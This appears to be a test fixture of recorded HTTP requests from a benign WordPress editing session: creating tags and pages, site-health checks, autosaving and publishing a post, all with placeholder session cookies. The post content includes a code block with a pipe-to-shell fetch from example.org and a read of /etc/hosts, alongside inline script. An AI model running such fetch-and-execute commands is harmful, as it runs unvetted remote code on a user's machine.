{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 20", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"name\":\"bob's tag\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/categories?search=a&per_page=20&_fields=id%2Cname&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/search?search=hello&per_page=20&type=post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?per_page=10&_fields=id%2Ctitle&context=edit&status=draft%2Cpublish&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-types?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/themes?status=active&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/plugins?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/settings?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?post=1&per_page=5&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/pages?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 84", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"title\":\"An about page\",\"content\":\"<p>Our story &amp; more</p>\",\"status\":\"publish\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/settings?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 52", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"title\":\"Example Blog\",\"description\":\"Bob's words\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/users/me?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 63", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": "{\"description\":\"Writer of <em>things</em>; likes select wines\"}"}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/background-updates?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "POST", "target": "/wp-cron.php", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215", "Connection: close", "Content-Length: 25", "Content-Type: application/x-www-form-urlencoded"], "body": "site-health=loopback-test"}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/loopback-requests?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-site-health/v1/tests/https-status?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=https%3A%2F%2Fexample.org%2Fvideo%2F123&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/url-details?url=https%3A%2F%2Fexample.org%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-renderer/core/archives?context=edit&attributes%5BdisplayAsDropdown%5D=false&post_id=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203215"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=11&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: */*", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-bobs-first-post&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/wp-content/uploads/2026/11/a.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/11/autosaves?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 968", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"status\":\"draft\",\"title\":\"Bob's first post: a guide\",\"excerpt\":\"a short summary\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\",\"meta\":{\"footnotes\":\"\"}}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"slug\":\"bobs-first-post\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=11&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203235.2958478927612304687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "GET", "target": "/wp-admin/post.php?post=11&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""}
{"method": "GET", "target": "/?p=11", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "GET", "target": "/2026/11/09/bobs-first-post/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "GET", "target": "/?p=11&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
